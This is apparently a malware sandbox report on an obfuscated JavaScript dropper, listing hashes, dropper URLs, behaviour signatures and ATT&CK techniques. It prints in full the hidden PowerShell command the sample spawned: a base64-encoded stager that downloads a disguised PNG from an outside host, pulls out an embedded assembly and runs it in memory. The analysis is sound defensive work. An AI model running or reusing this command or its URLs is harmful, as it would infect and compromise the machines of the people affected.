3fc34d5ba5e1b7f794fb5b8b3c1fed2fe5a3122409803a283c9f01d392300440

General

Target
jaffacakes118_3fc34d5ba5e1b7f794fb5b8b3c1fed2fe5a3122409803a283c9f01d392300440.js
Size 4.6MB
Sample260910-p2wpxsxtf1
SHA256 3fc34d5ba5e1b7f794fb5b8b3c1fed2fe5a3122409803a283c9f01d392300440
MD5 fecadeba7d03331b085a01e68eff074e
SHA1 84991144a4f914becbeddaf34d64f3bea8934ef1
SHA512 a732d20787aab393e9fb8d4320281b692091a0221e823619e9cccbae4269b1cb79b4cdaae305a822c810fcaca4cae83fbe9a20029cb0b2e0c1958b148be7c591
SSDEEP 768:oY1toze853MrXl2ttkG2DwdDYQC7Fjwd2StDQMF:0
TLSH
T135260DEFD29BD593CD3520A3AF821C0682B568470E257138F7B1E5D52F3F0609A9399E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
https://ia801709.us.archive.org/8/items/optimized_msi_20251216_1724/optimized_MSI.png
exe.dropper
https://ia801709.us.archive.org/8/items/optimized_msi_20251216_1724/optimized_MSI.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2316	2664	powershell.exe	92

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	2316	powershell.exe
23	2316	powershell.exe
23	2316	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2316	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2316	powershell.exe
2316	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_3fc34d5ba5e1b7f794fb5b8b3c1fed2fe5a3122409803a283c9f01d392300440.js
1⤵
PID:4784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGxhdGlmdW5kaWFuID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskbGF0aWZ1bmRpYW4uSGVhZGVycy5BZGQoIlVzZXItQWdlbnQiLCAiTW96aWxsYS81LjAiKTskbGF0aWZ1bmRpYW4uSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskbGF0aWZ1bmRpYW4uSGVhZGVycy5BZGQoIkFjY2VwdC1MYW5ndWFnZSIsICJlbi1VUyxlbjtxPTAuOSIpOyRvcmllbnRhbGl0eSA9ICdodHRwczovL2lhODAxNzA5LnVzLmFyY2hpdmUub3JnLzgvaXRlbXMvb3B0aW1pemVkX21zaV8yMDI1MTIxNl8xNzI0L29wdGltaXplZF9NU0kucG5nJzskenltb3BoeXRlID0gJGxhdGlmdW5kaWFuLkRvd25sb2FkRGF0YSgkb3JpZW50YWxpdHkpOyRhbGxvY2F0b3IgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHp5bW9waHl0ZSk7aWYgKCRhbGxvY2F0b3IgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHsgICRUYW5nZSA9ICRtYXRjaGVzWzFdOyAgJHVubmltYmVkID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkVGFuZ2UpKTsgICRhcmdzQmFzZTY0ID0gJ0p6MDlRV1EwVW01TWVqbEhaSFZXVjJJeFRqSmlSVEZ0Vm5aRlIyUnNRbTVqYUU1SFRYbFZVMWt5Vmxka1R6bDVXZ29OZVRsdFRIbzFSMXB5VGxka2F6VjVXbms1YlV4Nk5VZGFjazVYWkdzMVUyRjZUa2hqZDBZeVkzbFdiV1J3U2toYWVtUXpZbXMxVjJFelFraGhkMUl6WTNab01reDJiMFJqTUZKSVlTY3NKeWNzSjBNNlhGVnpaWEp6WEZCMVlteHBZMXhFYjNkdWJHOWhaSE5jSnl3blRtRnRaVjlHYVd4bEp5d25UWE5pZFdsc1pDY3NKeWNzSjAxelluVnBiR1FuTENjbkxDZG9kSFJ3Y3pvdkwyTmtiaTVrYVhOamIzSmtZWEJ3TG1OdmJTOWhkSFJoWTJodFpXNTBjeTh4TVRneE16YzRPVEF5TVRFMk1ERTJNakl5THpFME16ZzNNakkyTkRReU1qTTFPVEEwTXpBdmMyaHBiUzVxY3o5bGVEMDJPVEUzWldFMk1DWnBjejAyT1RFMk9UaGxNQ1pvYlQxbE1HUXlZbUZoWXpVeVlUaGhaalZpTm1Wa09UUXdOVEpqWmpVME9ETTJaVEpsWWpGak1XSXdPV1kzTmpRNU5UY3paV1kxTVRJMVlXVXdNR1V3WlRrMkppY3NKME02WEZWelpYSnpYRkIxWW14cFkxeEViM2R1Ykc5aFpITmNKeXduVG1GdFpWOUdhV3hsSnl3bmFuTW5MQ2N4Snl3bkp5d25WR0Z6YTE5T1lXMWxKeXduTUNjc0p5Y3NKeWNzSnljPSc7ICAkYXJnc1N0cmluZyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFyZ3NCYXNlNjQpKTsgICRhcmdzID0gJGFyZ3NTdHJpbmcgLXNwbGl0ICcsJyB8IEZvckVhY2gtT2JqZWN0IHsgJF8uVHJpbSgnJyciJyApIH07ICBbQ2xhc3NMaWJyYXJ5MS5DbGFzczFdLkdldE1ldGhvZCgiVkFJIikuSW52b2tlKCRudWxsLCAkYXJncyk7fQ==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_eqz0fa4v.bx0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eqz0fa4v.bx0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2316-0-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

Download

memory/2316-1-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

Download

memory/2316-2-0x000002A0B8FF0000-0x000002A0B9012000-memory.dmp

Download

memory/2316-10-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

Download

memory/2316-11-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

Download

memory/2316-13-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

Download

memory/2316-12-0x000002A0D11F0000-0x000002A0D1200000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads